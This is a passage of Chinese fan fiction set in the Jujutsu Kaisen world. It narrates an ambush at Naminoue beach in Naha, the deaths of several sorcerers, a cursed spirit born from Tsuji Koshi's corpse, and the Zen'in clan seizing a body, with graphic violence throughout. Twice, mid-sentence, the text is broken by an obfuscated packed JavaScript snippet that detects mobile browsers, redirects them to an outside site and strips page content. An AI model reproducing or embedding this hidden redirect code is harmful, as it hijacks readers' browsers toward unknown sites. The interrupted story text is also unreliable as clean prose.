“就我个人而言,我觉得高专不论是课程设置还是任务频率都有很大问题,但追根究底的问题还是咒灵和咒力的存在,”九十九由基看着默不作声,但听得很认真的辻光士,难得来了一点兴致,“你是招募入学的对吧?怎么样,这个咒术界和你想象的一样吗?” 当然......很不一样。 “哈哈哈,果然如此。” 他就快要找不到自己了。说实话,选择来到咒术高专其实有赌气的成分。“既然你们都不相信我,那我就证明给你们看”,大概是有抱着这样的心思选择来到了咒术界。用自己的力量拯救他人的感觉真的很爽。 在面对一般人时,他觉得自己是特别的。因为咒术,因为只有他能看到那些咒灵,因为只有他能救下他们。 在面对其他咒术师时,他也觉得自己是特别的。因为只有他在乎一般人的感受,只有他能做到和一般人感同身受,因为只有他一个人是从普通人的世界来到咒术师的世界的。 他觉得没有办法彻底融入任何一边。 “所有的一切都是因为咒力的存在。你说的问题也好,高专的问题也罢,这里现在做的只是在剔除表面的脓疮,却从没有想过把病根拔起来。” 辻光士第一次听说这种说法。 “我们咒术师是不会产生咒灵的,因为咒力不会逸散出去。也就是说,只要让全世界所有人都成为咒术师,就可以抑制咒灵的产生。不过这一设想等同于让全世界所有人都拥有了超能力,会发生什么样的事几乎是完全可以想象得到的。” 九十九由基接着说道:“或者让咒力彻底消失。这样既不会再有咒灵产生,也不会因为能力泛滥而扰乱社会安定。” 她双手交叉垫在下巴上,意味深长地说:“你知道为什么你觉得咒术师们根本不在乎普通人的生命吗?明明所有人都标榜着要以‘保护非术师’作为行动指南?” 辻光士握紧了拳头。 “能活到寿终正寝的咒术师几乎没有,活成老头子的也就上面的那些人。平均寿命随着这些年咒灵愈发活跃而逐年降低,花很长时间培养出来的咒术师很快就死在了各种任务中,导致咒术界人手常年不足。” 几乎所有人都明白,自己有一天肯定会死在咒灵手上。抱着这样的念头度过每一天,出每一次任务,偶尔还要因为“窗”的错误情报和总监部的要求而不得不面对远超自己实力的对手。咒术师人数越少,每个人分配到的任务越多,对精神的压迫就越大。 他们早就被咒术界磨成了疯子,是一群精神早就不正常了的家伙。 “所以我和高专的想法是不同的。我想从根源上解决问题,彻底消灭咒灵。” 她这次回来是为了看看新晋升的特级,但很不巧他不在。她不能在这里待太久,所以只能遗憾离开。不过在走之前碰到了辻光士,一不小心多聊了一些。 “怎么样?等你毕业了要来帮我吗?这虽然还只是不成熟的设想,但我相信总有一天会变成现实。” 辻光士没想到能接到这样的邀请。 见他还很犹豫,九十九由基没有逼他现在就做出选择。就像她说的,他们都还太年轻了。哪怕咒术上的实力出类拔萃,可内心的力量却远远不足以支撑他们离开高专,进入真正的人类世界。 离开庇护之后,才能发现自己的弱小。就像九十九由基,哪怕身为特级咒术师,面对消除所有咒灵这样的宏愿,能做到的事也只是杯水车薪。 她已经做好了将一生投身于此的决意。 九十九由基不能在高专久待,很快就骑着她的摩托车驶出了辻光士的视野。 辻光士坐回原地,冬天的长椅已经被他的体温捂得暖和起来了。 他还是觉得做咒术师挺好的,拯救他人的感觉让人欲罢不能。但是九十九由基说的也有道理,咒术师们都应该是疯子才对,只有这样才能解释明明星海杀了两个人却不会为他们忏悔,明明弥山知道他们有能力却阻止他们去救人。 只有他。只有他自己是真心想要救下所有人,所以无论走到哪里,他都是孤身一人。 —— 2003年4月11日,冲绳县,那霸市,波之上海滩。 额头上还绑着绷带的今井由光在那霸机场的出口接到了辻光士,他们的目的地从这里开车只需要15分钟就能抵达。 “今井先生,你的伤......” 今井由光摸了一下额头,对他笑了笑:“啊,这个啊。我觉得已经休息得够久了,总不能总把工作丢给别人。” 辻光士点头。今井由光在两个月前突然出了事故,不得不从工作岗位上退下来住院修养,现在看起来也还没完全康复。 “帐”已经降了下来,这次是单独指名给辻光士的任务,地点就在波之上海滩。附近有一个较大的浴场,这个季节还没到旺季,报告中说浴场已经通知海滩上的所有人离开了。 今井由光开车很稳,他们从高处断崖上的波上宫穿过,顺着山崖边的山道下到海滩上。 海风送来腥咸的味道。 “那么,祝你武运昌隆,辻同学,”今井由光微笑着站在远处,“我很看好你哦。” 辻光士没有在周围看到其他“窗”的辅助监督,这个“帐”是谁下的?任务报告中说里面只是一只二级咒灵,可能设下“帐”的辅助监督在另一侧,被挡住了吧。 他没有回头,径直迈入了漆黑的结界中。 混乱。 逃窜的人群。 尖叫。 “什......!?” 辻光士的突然出现让围在“帐”边的逃生人群爆发了一小阵混乱,不少人推搡着挤到他身边,他被强硬地从原地扯开。辻光士发现他们正在试图从他进来的地方离开,但很显然只是徒劳无功。 他顶着嘈杂的声音看向那个天上的“太阳”。 被“帐”笼罩的地方通常会变得极暗,哪怕是白天看上去也像是隔着墨镜看世界的感觉。然而此时,一轮“太阳”出现在了“帐”的内部,它散发出来的光芒炙烤着所有人,可是辻光士只感受到了阵阵寒意。 他被动地随着涌动的人群移动,脚下是软绵绵的沙地,每踩一步都好像要把人吸进去似的,空洞无力。 “帐”外,今井由光看了一会儿,然后失望地叹了一口气。 “第一反应是逃跑啊,”他歪着头,“还以为你真能做到表里如一,没想到......哦?” 他像是看到了什么很有意思的事情,抱臂笑了起来:“勉勉强强吧。啊,差点忘了。” 从兜里掏出手机摁下一个号码,今井由光顺着来路回到了断崖上。路过去波上宫的参道石阶时,他微微抬头,看着红白色的大社主殿,嘴角的笑意没有丝毫变化。 “嗯,叫他们过来吧。” —— “弥山,星海,”夜蛾正道直接冲到了他们的宿舍,“紧急任务!” 屏幕上出现了大大的GAMEOVER。星海操纵的小人掉进了岩浆里,弥山的小人虽然被尖刺机关刺穿,血量告急,但还是险之又险地赢得了这场对决的胜利。 “这次我也能去?”弥山还准备和五条悟联机,猛然反应过来夜蛾正道也叫了他的名字。 夜蛾正道推了推不存在的墨镜,弥山发现他真的很喜欢凹姿势,不过很可能他并没有意识到自己有这个习惯:“已经确定了是特级咒灵,地点在那霸,准备一下立刻出发去机场,时间刚好。” 星海已经从榻榻米上爬了起来。成为特级之后有很多任务他都是自己去的,因为弥山没办法跟着一起去,最近有点消极怠工的意思。 “那霸?那不是光士的任务吗?”弥山被他从地上揪起来,迅速换了校服,把桌子上的两副扑克牌扫进背包里。这是他最近新开发的武器,因此宿舍里到处都是整盒整盒的扑克牌,庵歌姬和物部式叫人打牌的时候经常从他这里顺手摸走一盒。 夜蛾正道点头:“就是支援他的任务,今井已经让他在外围待命,等你们到了一定要注意安全。” 弥山拽了拽背包的带子:“知道啦老师。” 他给五条悟发去信息,鸽了他的联机邀请,得到了对面不满的表情包连击。 他们从羽田机场出发,预估两个半小时后就能抵达那霸机场。 星海的座位靠着窗户,他看了一会儿窗外,等白茫茫的云彻底将地面上的景色遮住之后,转头靠着椅子闭上了眼睛。 弥山在吃小零食,他们出发的时候正好是饭点,可是为了赶飞机就没有时间吃午饭。 “给你要一份飞机餐?”弥山今天起得晚,在上午吃了一顿早餐混着午饭的牛肉便当,现在还不饿。 星海摇摇头。 弥山隔着他看向窗外。他还没评上二级术师,所以星海升了特级之后他每次都是和物部式、庵歌姬一起在都内执行任务,没怎么坐过飞机。 伸着脖子看了一会儿,他很快失去了兴趣,学着星海的样子闭目养神。 有关任务的情况得等到他们飞机落了地,由今井由光告知他们,所以现在想什么都没用,将身体调整到最好的状态才是最重要的。 “真不用吃点什么吗?会不会跑着跑着突然肚子咕噜咕噜叫?” 星海一巴掌拍在他脸上,把他摁回座位里:“你消停一会儿吧!” “......” 感受到手下的人居然真的安静了下来,星海挪开手。弥山垂着眼睛,没有被眼罩覆盖的那半张脸冲着他。 星海握住了他的手。 弥山没抬头:“我有种不好的预感。” 星海闭上眼睛。 过了一会儿,他感受到肩膀上传来了熟悉的重量。他们依偎在座位里,再没说过一句话。 13时05分,他们抵达了那霸机场。 天空是深沉的蓝色,万里无云。 今井由光在车里向他们挥手,没等他们坐稳就踩下了油门,一副着急忙慌的样子。 “原本提交上来的报告只有二级,我们到了之后才发现不对。” 弥山挠挠头:“我现在对任务目标的等级上下蹦极已经见怪不怪了。” 最该整顿的就是“窗”和负责任务中咒灵等级评定的那伙人。 “现在辻同学在‘帐’附近待命,”今井由光看到弥山通过后视镜瞥了他一眼,“......等到了目的地,由星海同学全权负责。” 弥山指着今井由光的额头:“今井先生,你的脑袋还没好就出来工作了?” 今井由光看着前面,脚下多用了几分力,车速微微增加:“‘窗’那边人手实在不够,我也不能总躺在医院里。” 他们只用了10分钟就来到了波上宫的入口。 这里供奉的是本土熊野三山的分灵熊野权现,在琉球时代就被官方认定为最高级别的神社,也是“琉球八社”之首。参道石阶旁立了一个告示牌,说今天上午在波之上海滩有活动,提供免费的生啤和烧烤。 另一侧就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232489|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海景观景台,头顶是无垠的蓝天,突兀的黑色结界就在离这里不远的海滩上,目测“帐”的范围有半径百米左右。 弥山觉得今天的太阳有点刺眼,他刚想问星海能不能看到什么,就感觉到有人扑倒了自己。肩膀和坚硬的石板路相撞,毫无防备的弥山呆愣了一瞬,脑袋就被人笼在了怀里。 震耳欲聋的爆炸声。 身下的石板断裂、错位,锋利的边缘撕扯着他的制服外套,但没能突破特制材料制成的衣物。他伸出双手抱住了星海,在身下的山崖彻底崩塌之前发动了术式。 除了第一声爆炸,他已经听不到别的声音了。 哪怕相隔几百米,他也能感受到那股炽热的风席卷而来,随后视野归于黑暗,他们被热浪吹飞了出去,跟着波上山的碎块一起向下落去。 弥山再睁开眼睛的时候,他正躺在星海的腿上。耳朵还在嗡嗡地响着,听不真切,像是进水了一样,很疼。 星海低下头在他耳边说了什么,可他一句都没听清。 他看见今井由光举着手机,和星海对话。 星海点了点头。 他从地上爬了起来。星海的身上完好无损,【代理人】好好地护住了他。 “......‘帐’,我去......情况......” 弥山眯起眼睛,努力想要分辨今井由光究竟在说什么。他为什么还能听见? 外套已经破破烂烂的今井由光向爆炸发生的地方跑了过去。弥山这才发现他们已经来到了地面上,山体碎块之下是细碎的海沙。视线跟随着今井由光跑远,弥山看见了被破坏得不成样子的沙滩浴场。 和无数尸体。 “帐”已经完全破裂,伴随着漫天飞屑一起扬起的还有漆黑的结界碎片。 这场爆炸——弥山只能简单地这样称呼这场......灾难——波及的范围远超那个“帐”的边界,将近一公里的海岸线边都能看到被炸飞的残肢断臂和看不清材质的建筑材料。附近的海面有白色的水汽腾起,湿润的空气随着海风向岸上吹来。 星海扯着他的领子,贴着他的耳朵大吼:“先下‘帐’!” 见他还有点脑子转不过来的样子,星海掐着他的下巴让他注视着自己:“看着我弥山。” “我来设‘帐’,你来给它增加追加效果。” 淡色的眼睛从弥山脸上挪开,慢慢转向正在往灾难中心走的今井由光身上。星海一字一句地说:“把他关在里面。” 弥山甩甩头:“我知道。” 那些碎片......“帐”里有一个完全体领域,那场爆炸发生在领域里?辻光士为什么会进入“帐”? 今井由光远离了那对兄弟,奔跑的步伐慢了下来。 “哈哈,是哪里露馅了呢?嗯,果然是称呼吧。”男人没忍住,弯腰笑了两声。为了尽可能让“帐”覆盖更大的面积,那对兄弟需要更长的时间和更多的咒力来设置“帐”。从这个地方不太好判断他们给“帐”追加的效果,等一会儿去边上亲身体验一下就知道了。 靠近中心,灾难原形毕露。 “咳......嗬、啊......” 男人在焦黑的肢体燃烧的声音中听到了微弱的呻吟,这下他可是真心实意地赞美起来:“能从这种程度的攻击中活下来,真是了不起啊,哈哈。” 勉强还能看出人形的东西蠕动着,全身表皮破溃,又被黑灰色的灰烬沾满,一举一动都会从宛如旱地一样龟裂的裂缝中淌出清色的液体。 似乎被是他挣扎的样子取悦到了,男人走到了他的身边,用蛊惑的语气对他说道:“你想跟我做一个交易吗?” 弥山在星海的“帐”完全落下之前就完成了条件的附加,他先一步向中心地带靠近。 遍地都是蜷缩的人体。这种状况下,不可能有人活下来。弥山只是扫了一眼就做出了判断,随即继续向前。爆炸的冲击让附近的沙土改变了形态,呈现出了波浪状的起伏。 越过一道沟壑,他感受着脚下平面向上倾斜,终于将爆炸中心的全貌揽入眼中。 “——今井由光!!!” 他看到了蹲在下方的男人,裹挟着咒力的石块飞速袭向那个方向。他瞄准的是男人的大脑。 杀气四溢的石块蹭着男人的皮肤划了过去,击中了他身后的地面,瞬间打出了一个半米宽的深坑。 “果然呐,”鲜红的血液沿着他的侧脸滑了下来,原本绑在头顶的绷带也因此断裂,纷纷垂落在颈侧,“你的术式比我想的更有意思。” 弥山看到他展开双臂,从原来的地方向后退开,将一直被他挡在身后的人露了出来。 “......”爆炸中心、人形、烧焦的人体,只能是辻光士了。弥山看到了插在头颅位置的小刀,小刀的护手完好无损,那就是这个人刚刚插进去的。 为什么?为了终结辻光士的生命?还是终结他的痛苦? 勉强挂在耳朵上的绷带被男人彻底扯下,横贯额头的伤疤还能看到缝合线留下的痕迹,他缓步向后退去,慢慢向“帐”的边缘靠近。 弥山听见星海正在赶过来,他决定先发制人。 快被夷为平地的中心几乎什么都没剩下,弥山摸出兜中还算完好的牌,从坡顶一跃而下,向前奔袭的同时将被强化过的扑克牌一张一张飞射出去。 男人侧身躲过第一张,纸牌插入地面,只剩半张还露在外面。下一刻,沿着它插入的方向,前方的地面仿佛被什么无形的利刃切开了一般,出现了一道深壑。 男人闭上嘴挑眉,这倒是和那个人的术式很像啊......不过也只是像而已。第二张、第三张蹭过身体时带起的狂风搅碎了男人耳旁的碎发,他意识到弥山正在调整自己的术式,具有威胁的不再只是纸牌本身切入的方向。他毫不怀疑如果再给弥山一点时间,纸牌射出后行进路线上的每一寸都会充满杀机。 “你到底是谁!?” 今井由光从来不会称呼他们的姓氏,不会那么一板一眼地叫他们的名字。是变身的术式?那真正的今井由光现在在哪里? 弥山突入到了男人身前。这个距离下,对方很难再躲开纸牌的进攻。 微凉的光滑纸面别在指缝,在被射出之前,弥山看到了男人扬起的嘴角。他太熟悉这样的弧度,脑海中仿佛过电一般,记忆被扯回了数年前的冬天。直觉和他的认知相悖,究竟是太过相似造成了幻想,还是一如直觉告诉他的结果——他们是同一个人! 答案出现在了弥山的脑中,可他来不及处理这个消息。 “弥山!!” 星海的喊声从身后传入还在隐隐作痛的耳朵中。 47.飞星 咒术师生前不会生出诅咒,可他们的死却意味着一场突变。 为了不让诅咒从术师的尸体上诞生,必须要用蕴含着咒力的攻击结束术师的生命。 “......爸爸......妈妈......看着我啊......” 在名为辻光士的咒术师的尸体上,全新的特级咒灵诞生了。曾对普通人饱含关爱之意,哪怕得不到感谢也要施行拯救之责的咒术师,如今孤身站在满是尸骸之地。 辻光士的尸体就在它的脚边,新生的咒灵同样被一层灰烬包裹,簇簇黑粉随着它的动作不停向下掉落,仔细看的话还能看到从那些裂缝中奋力向外伸展的红色物质。 星海估算了一下距离,直接开启了【仳】。 咒灵感受到从表皮开始的不断分解,被【仳】消解的咒力就像是直接剜下血肉,失去身体的愤怒让它发出一声尖啸。 它脚下的地面也被吞噬了,可它却没有向下方掉落,违背常理般悬浮在了半空中。 红色的物质突然增生,新生的咒灵拥有足以支撑它完全完成变态的充足咒力,一时间居然就连【仳】的分解速度都无法彻底让它失去行动能力。如果是一级以下的咒灵,在被【仳】的冲击碰到的瞬间就会消失殆尽。虽然星海有所顾忌没用全力,但也足以说明这只咒灵比他们迄今为止遇到的所有咒灵都要强。 从弥山听到星海的声音,到他完成术式的释放,整个过程总共用时三秒。 下一次眨眼,咒灵完成了变态。 如血液一样赤红的六片翅膀带着它飞到了空中,翅膀的中央是一颗巨大的......太阳。散发着明亮光芒的光核就是这个咒灵的核心,其本身的闪耀将那六片羽翼照射得快要失去了原本的颜色。 弥山飞出的纸牌从腰间将身前的男人斩成上下两段,他回过头,被那个“太阳”照射到的地方出现了被灼伤一样的刺痛感。星海已经比出了手印,等到术式发动的间隔时间过去,下一次全力以赴的【仳】就能击溃它。 黑色的瞳孔瞬间收缩,直视太阳遗留在视网膜上的光斑正在震颤着,弥山向前伸出手。 隐没在光辉中的发声器官传出嗡鸣,“太阳”没有类似双手的肢体。或许有,只是被刺眼的光遮住了。弥山和星海没有看到结手印的过程,但咒力运转的变化戳刺着他们的神经。星海放弃【仳】的准备过程,转而将双手收于腰间。 弥山比他的反应更快。 时间似乎凝固了。 只有【代理人】在此刻疯狂运转着,“恩赐”已经重重摆上了天平,应允的“代价”也已挑选完毕。他看着天平摇摆,越是趋于平缓,越是让人心生焦虑。 弥山想要亲手将天平固定在平衡的状态,他能感受到,现在的他可以做到这一点。 一把刀从他的后背捅入,绕开了脊柱和重要的脏器,在身前贯穿而出。 天平失衡,弥山彻底失去了最后一次机会。 他转动眼球向后看去,只剩上半身的男人松开了握住刀柄的双手,直直向下落去。 男人的每一个动作都像淬满毒的恶意,明晃晃地刺激着弥山。他双手结印,弥山看出了他的口型。 弥虚葛笼。 在被漆黑结界吞入之前,弥山忽然想要感叹一声:为什么每次被捅穿的都是他? “太阳”的声音震耳欲聋。 “领域展开——” 弥山、星海和那个男人都被卷入了领域的范围内。 “——日轮净界。” 男人周身出现了一个囚笼模样的简易领域,那是新·阴流使用的简易领域的原型,拥有中和领域、抵消必中效果的性能。 弥山和星海周身出现了环绕的咒力。 御三家有代代相传的、用于对抗领域的秘术。秘传·落花之情是一种和新·阴流的简易领域原理相似但不完全相同的咒术,通常对抗领域的方法最直白的就是同样施以领域展开,对于无法展开领域的御三家咒术师来说,不展开领域、待赋予领域内的术式必中效果发动后、在攻击靠近自己的瞬间自动发起反击的对领域技法就是最好的选择。 星海及时发动了秘传·落花之情。 弥山本想用【代理人】将领域在完全展开前拉回去,但那柄刺入后脊的咒具似乎有什么特殊的能力,他的术式在那一瞬间完全失去了控制。在被卷入领域前的最后一秒,他选择了不需要术式就能使用的落花之情来对抗领域。 弥山的咒力乱了。星海保持着开启落花之情的状态向弥山的方向移动。 那把该死的刀......弥山将手伸向身后,反手握住了刀柄。这柄刀让他完全无法使用术式,得赶快拔出来...... 空气中的温度上升了。领域内的任何变化都藏匿着杀机。 落花之情没有反应,是必中术式的攻击还没有接近吗?弥山趁着这个机会将刀抽了一半出来,捅进去的位置不上不下,单凭他一个人根本做不到取出剩下的部分。 温度还在不断上升,单单是他面前就开始出现了景物的扭曲,高温蒸烤着领域内的每一寸空间。 地面变得滚烫,裸露在外的皮肤迅速失水,被恐怖的干燥热风环绕。 弥山意识到这个领域最正确的应对方法不应该是落花之情,而是弥虚葛笼或者简易领域! 【日轮净界】内不存在广义上的“进攻”行为,它的存在将辻光士原本的术式【炽盛光】的术式对象扩张到了所有物体,包括空气、地面和领域内的一切。 落花之情可以在必中的攻击靠近时自动解放术师的咒力用于防御,是会自动反弹攻击的咒力操作程序,对于单纯的、来自有形体的物体的攻击更有效果。简易领域中和必中效果,虽然的确容易被剥穿,可在面对【日轮净界】这样为术式创造有利环境的领域时比落花之情的效果好上很多。 星海也察觉到了这一点,他干脆地放弃了落花之情,改为直接用咒力防御。 人生没有第二次。有些选择一旦做错了,根本没有反悔的机会。 从他们进入领域的那一刻起,就再没有反悔的可能。 灼热的温度从血管内迸发,星海停下了脚步,明白了这个领域最可怕的能力。 【日轮净界】内,被必中术式效果纳为术式对象的是领域范围内的一切。 甚至,包括咒力。 —— 羽瑠理鸥已经选好了事务所的地址,虽然现在还只是一间小小的办公室,收拾打扫和添置办公用品的工作全都由她一人完成,但她乐在其中。 从繁重的工作中抬起头,最近她总会莫名想起那两个孩子。 弥山与星海是同卵双胞胎,在咒术意义上,他们的灵魂就是同一个。这意味着他们此生都要与对方连在一起,一荣俱荣,一损俱损。 连独自飞翔都无法做到,因为灵魂的锁链捆在他们的脚腕上。 星海还算得上正常的人心让他时常觉得自己卑劣,拥有得天独厚的天赋,却因为这力量曾经伤害过最亲密的人而恐惧着它。明明再明白不过,在这个看不到希望的咒术界,只有变得更强才能保护他,但却因为胆怯而不敢再进一步。 想要逃跑,卑劣地祈求他能够抛下一切跟上来,跟自己一起堕落。 他会为此感到窃喜。 他想要狂笑着向什么人证明,就算是这样卑劣的我也能得到热忱的爱。只有这样的感情才能让他看清楚自己所有的挣扎和扭曲的矛盾。它正在他的血液中沸腾。 星海看到了环绕着弥山的咒力开始溃散,每一次呼吸都能感受到肺部正在被灼烧,打在脸颊上的发丝变成了滚烫的钢针。 他依旧看不清弥山的脸。他们离得太远了。 那一轮“太阳”......诞生自辻光士尸体上的特级咒灵。星海突然笑了起来。终究是只有半颗人心的半吊子,看得见诸多烦恼,看得见那些困顿,却从未真正想过要去理会。因为那些都与弥山无关啊。 这一刻他才真正看清了自己,他和弥山都是一样的,人的心脏是不可能只凭半颗就跳动起来,因此他们同为“不理解的怪物”。 所以,除了我,谁又会保护你,像我一样爱你呢? 除了你,谁还会像你一样,爱上本性卑劣的我? “无垢,虹光,自解脱。” 弥山现在极度冷静,当他意识到他们做出了错误的选择,耳边一切杂乱的声响都无法再影响他。咒力的温度也在上升,超高温区域正在逐渐膨胀,如果这种上升的趋势一直不会停下来...... “光士,你想把这座城市都炸掉吗?” 失序的咒力屏障破碎了,他单膝跪地,无法继续维持落花之情的施展。 他抬手伸向后背,抓住了咒具的手柄,面无表情地向上抽去。深深嵌入皮肉的刀刃被他拉扯着划开更长的伤口,鲜血几乎瞬间喷涌而出,染红了他身后的衣物,又在继续流淌前被高温蒸发。 用极端方式拔出了咒具,弥山向前看。 星海正在向“太阳”的方向靠近。 假想的极限高温聚集在“太阳”的前方,等待着一场极速膨胀。 术式还没恢复,弥山站起身,忽视身后贯穿和撕裂的伤口,将手中的这个咒具向“太阳”投掷了过去。 “我来......拯救。我来......赋予你们未来。我来......由我来......” 被扭曲的宏愿在此以狰狞的姿态爆发。 弥山听到了身后那个男人开怀的笑声。 一秒。 他的术式恢复了。他向前伸出手,抓住了一闪而过的光。 在“太阳”和星海之间,他选择了自己的半身作为术式对象。唤起咒力,注入术式。拔出锚点,将恩赐与代价放上天平。不涉及生死,他能做到的想象力的极限。 从没有人教过他们如何爱上别人。没有体会过爱,不知晓、不理解,自然无法输出爱。周围人的生命与婴儿床窗边出现过的柳叶、斑鸠、飞蚊等价,在弥山眼中,世界万物是如此平等,可赋予它们等价的情感意味着他的世界是扁平的,毫无波澜。 只有一个人毫无保留地渴求着他。一心一意、全心全意地注视着他。 哪怕天地倒转,雨水逆流,也有这样的感情告诉他,他还活着。由此,他对其他的东西产生了“兴趣”,由此他开始“理解”包围着他们的世界。 如果这世界上有神的话。 神拒绝了他。 所求的恩赐与代价无法达成平衡,弥山在极端恐惧中突破了一直禁锢着他的极限,忍受浑身被宛如岩浆般滚烫的咒力灼烧的痛苦,双手死死摁住那个摆个不停的天平。 该死该死该死该死该死给我停下来啊啊啊啊啊啊——!!!! 被拒绝了。 为什么!!? 【代理人】无法改变既定的生与死。 神明顽劣地告诉他:而且,你心里根本没有能与他媲美的等价物啊。 —— 禅院直哉作为既定的“炳”的下任首席,这次跟着现任首席一起来到冲绳执行任务。“炳”内的所有人都是由高专认定的准1级以上的术师,是禅院家最强的咒术师集团。这次同行的还有“躯俱留队”的精英。 作为“炳”的下属组织,“躯俱留队”由没有术式的禅院族人组成,现在他们刚刚回到集合点汇报情况。 “刚才那个也太夸张了吧?咱们在这里都能感受到震动,中心还有可能留下完整的尸体吗?” “别抱怨了,直哉,”现任“炳”首席整理衣物,起身拿上了自己的刀,“加茂家的人也来了,趁着五条家还在赶过来的路上,尽快行动。那可是‘伪六眼’,五条家的宝贝。” 禅院直哉不屑地嘁了一声:“你们联手搞他?真逊。” “哼,谁会特意为了一个赝品整出这么大动静。有人送上门的礼物,免费的好处罢了。” “小心别噎死你。” 哪怕禅院直哉有所预期,可当真的来到海滩前时,还是小小地震惊了一下。 “如果还能找到完整的肢体,做成咒物也不错,”首席下达了命令,“不过看这样子,能不能找到也是未知数。” 波上宫所在的山崖完全消失了。这里简直像是有陨石撞击似的,沙滩被整体掀起,下层的岩体似乎经历过软化又重塑的过程,被推到了直径约四公里的凹坑边缘。海岸线被改变了,现在正有无数海水混合着焦黑的木屑和不知名的残渣,顺着斜坡流向塌陷的地面底部。 空气中有一股异常的味道,笼罩在头顶的不是云朵,而是某种暗红色的气团。 禅院直哉踢开一截断骨,已经被烧成灰烬的血肉从骨骸上掉落:“都烧成灰了,这谁还能认出来啊。” “叔父!在那边!”有人喊了一声,所有人的视线都聚集在混乱的凹坑底部。 那里堆积了很多碎裂的地块和不知名的残骸,不过还是能看出交错的阴影下,那具完好无损的躯体。 禅院直哉也想下去看看,可是被首席留在了凹坑边缘。 那具尸体白得与周围格格不入,禅院直哉越看越觉得眼熟,猛地想起似乎在禅院家见过这个人。当时和甚尔碰面之前,他遇到的就是这个家伙吧!?原来他是五条家的啊,居然就那么明晃晃地闯到禅院家还没有被任何人发现? 把尸体从地下挖出来的禅院族人面面相觑。尸体完好无损,如果不是没有呼吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232490|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和心跳,他就像还活着一样。 “看他的眼睛!” 族人闻言扒开了眼皮,看到了那双完好无损的淡色眼睛。 禅院直哉失望了一瞬:“什么啊,不是他吗?” 凹坑下的所有人都轰动了起来:“真的是......还这么完整!” 首席当机立断:“赶快带走!” 这是来自总监部内部的消息,禅院家和加茂家是最先知道的。不论是谁策划了这么一出,在高专和五条家反应过来之前,谁下手更快,这具尸体就是谁的。想要解释?那就是和这里无数其他死人一样,被烧得连骨头都快成灰了。 虽然不清楚为什么尸体这么完好,但就当他们走运好了。 首席迈步跨过一块凸起的地面时,一只混合着血液和灰土的手从土地里伸了出来。 他惊惧地向下看,下意识地用刀刺去。 噗呲。 他的刀刺穿了一只手掌,似乎是感觉不到疼痛一般,那只手掌还在继续向前,在刀身上留下了一串血迹。眼看着那只手越来越靠近刀柄,首席踢开抓住腿的那只手,扔下了刀,跃至一旁。 这一举动无疑丢掉了他身为禅院族人的自傲,可他没办法说明他看到的那只眼睛。从冰冷的刀刃和指缝间隙,惨白的眼睛中央唯一的黑色让他胆战心惊。 另一具“尸体”爬了出来。浑身上下所有裸露的皮肤都被烧没了,皮下组织也被烧得焦黄发黑,早就停止了出血。 “是谁!?” “为什么这样了还不死!?” 首席心中有不好的预感,立刻下令:“杀了他!” 不管这个人是谁,他看到他们带走了尸体。如果——不知为何,首席总觉得这个人不会轻易死去——他还能活着,将来一定会成为一个巨大的隐患。 禅院直哉站起身,瞳孔微缩。他站在高处看得清楚,那个“尸体”、那个人身后的伤正在逐渐恢复。 是反转术式! 族人动手了。躯俱留队的队长率先出手,他是禅院家没有术式的人中最擅长战斗的一个,一对双刀用得得心应手。不管这个人究竟是谁,反正已经是强弩之末! “咳啊、呃!?” 队长突然停下了前冲的势头,刀落地,双手痛苦地抓挠着头部。 他张大嘴巴却无法呼吸,在意识到这一点后迅速屏住呼吸,可他发现自己没有办法阻止肺部的气体被排出。他看不到自己的模样,在短短几秒钟内他的身体开始出现肿胀,嘴角、眼角冒出了泡沫状的液体。 某一瞬间,他彻底失去了意识。 “队长!?” 他倒下得太过突然,没有人能反应过来发生了什么。 “哈哈、哈哈哈哈哈哈哈!!” 过了几秒,他们才意识到那个嘶哑的笑声居然是那具“尸体”发出来的。反转术式已经将他身上大部分的伤恢复完成,扭曲肮脏的脸也逐渐露了出来。 首席认出来了,那是他们手上这具尸体的同胞兄弟。 “日照......弥山。”他的术式是什么来着?强化?该死的看看躯俱留队的那个废物是怎么死的吧,怎么可能单凭强化的术式做到这个地步?而且还有最麻烦的反转术式! 笑声越来越大,逐渐染上了一丝癫狂。 这种时候躯俱留队已经没有用了,只有让炳的人出手。 因为兄弟死了所以疯了吗...... 状若癫疯的少年摊开双手,海风从他背后吹来,迎面撞上了炳内使用术式操纵土地发起进攻的术师。 “呃!?” 受术式驱使的土块在霎那间四分五裂,术师紧跟着也变成了碎块,血肉啪嗒啪嗒地落了一地,和其他残骸混在一起,分不清彼此。 “他的咒力快见底了!叔父!” 首席命令躯俱留队迅速带着日照星海的尸体离开,带着其他的炳一起冲向已经陷入疯狂之中的怪物。 首席对了那个怪物的眼睛,在毫无情感波动的泥潭中听见了他的喃喃自语:“把他还给我。” 禅院直哉被留在身边保护他的炳带离了原地。 他也是回到本家才知道了那场战斗的结果。炳死了五个准1级术师,剩下的七具尸体来自留下断后的躯俱留队。 日照弥山被高专带走,那具他们抢来的尸体却也没能回到本家。似乎是五条家和高专一同施压,日照星海的尸体被迅速下葬,没有葬礼,也没有人知道墓地在哪里。 但是据说,那具尸体也不完整。 缺少了双眼和双手。 —— “死老头,老子问你话呢!!他人呢!?”五条悟气急,爆发出来的咒力掀翻了大广间内的金箔屏风,实力不济的人东倒西歪,跪在地上瑟瑟发抖。 